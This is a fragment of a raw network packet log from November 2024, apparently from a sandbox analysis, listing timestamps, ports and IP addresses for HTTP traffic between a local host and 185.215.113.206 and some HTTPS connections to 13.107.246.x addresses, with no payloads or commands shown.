Nov 25, 2024 14:14:39.533288002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.533333063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.533396959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.533437967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.534477949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.534492016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.534528017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.534540892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.535449982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.535640001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.536323071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.536546946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.537115097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.537159920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.537405968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.537492037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.537949085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.537966013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.537997961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.538063049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.538611889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.538625002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.538686991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.539766073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.539778948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.539809942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.539824009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.540812969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.540826082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.540878057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.541865110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.541930914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.542207003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.542679071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.543143988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.543189049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.543272018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.543320894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.543987989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.544035912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.544150114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.544197083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.545058966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.545108080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.545124054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.545180082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.546083927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.546096087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.546143055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.547187090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.547199965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.547230959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.548290014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.548368931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.548701048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.548752069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.549303055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.549314976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.549352884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.550375938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.550421000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.602427959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.602483034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.602544069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.602588892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.602963924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.603017092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.603291988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.603368044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.604099035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.604160070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.604630947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.604679108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.605104923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.605160952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.605214119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.605273962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.606256962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.606559038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.606607914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.606647968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.607614994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.607636929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.607661963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.607687950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.610991955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.611046076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.611468077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.611517906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.612432957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.612443924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.612457991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.612469912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.612483025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.612514019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.613111973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.613215923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.613262892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.614427090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.614525080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.614568949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.615448952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.615464926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.615494967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.615520954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.616774082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.617502928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.617558956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.618303061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.618335962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.618382931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.619093895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.619152069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.619280100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.619329929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.619726896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.619776011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.620176077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.620228052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.621047974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.621100903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.621367931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.621445894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.622320890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.622677088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.622731924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.623625040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.623917103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.623980999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.624058962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.624845982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.624857903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.624902010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.624918938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.625968933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.625981092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.626024961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.626698971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.627027035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.627080917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.627667904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.627723932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.628133059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.628196001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.628901005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.628912926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.628957987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.629703045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.629775047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.630186081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.630234957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.631262064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.631494045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.631684065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.632157087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.632179976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.632229090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.632491112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.632534981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.633151054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.633203983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.633271933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.633440018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.633958101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.633969069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.634006977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.634021997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.634627104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.634681940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.634769917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.634818077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.679944038 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.680510044 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.680529118 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.682014942 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.682095051 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.685621977 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.694751978 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.694941998 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.695036888 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.695574045 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.695640087 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.696207047 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.696223021 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.697277069 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.703392982 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.703402996 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.704446077 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.704509974 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.705095053 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.705159903 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.705240965 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.715569973 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.717350006 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.717377901 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.717876911 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.717883110 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.729769945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.729856014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.729906082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.729950905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.730393887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.730449915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.730550051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.730648041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.731380939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.731486082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.731507063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.731556892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.732342958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.732414007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.732475042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.732511997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.733608961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.733740091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.733802080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.734688044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.734699965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.734759092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.735660076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.735708952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.735843897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.735902071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.736680031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.736763954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.736831903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.736882925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.737943888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.738073111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.738378048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.738488913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.739147902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.739161015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.739198923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.739334106 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.740005016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.740062952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.740150928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.740195990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.741121054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.741168976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.741276979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.741313934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.742335081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.742348909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.742403984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.742432117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.743325949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.743335962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.743386984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.744431973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.744443893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.744498968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.744932890 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.745451927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.745465040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.745503902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.746025085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.746038914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.746071100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.746083021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.746098995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.746105909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.746134996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.747000933 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.747024059 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.747498989 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.747504950 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.748938084 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.748945951 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.748977900 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.748987913 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:39.749017954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.749070883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.749160051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.749202967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.750268936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.750282049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.750317097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.750339985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.750907898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.750921965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.750961065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.751661062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.751737118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.751952887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.752002954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.753377914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.753473043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.753686905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.753906012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.753983974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.754040003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.795079947 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.795263052 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:39.803914070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.803972960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.804457903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.804505110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.804568052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.804580927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.804605961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.804627895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.805571079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.805635929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.805665970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.805805922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.806529999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.806545019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.806588888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.806660891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.807519913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.807595015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.807706118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.807760954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.808590889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.808676958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.808976889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.809027910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.809722900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.809896946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.809946060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.810905933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.811065912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.811264992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.811306953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.811809063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.811896086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.812066078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.812107086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.812959909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.813014030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.813319921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.813370943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.813982010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.814023018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.814090967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.814162970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.814991951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.815076113 CET	49760	80	192.168.2.5	185.215.113.206
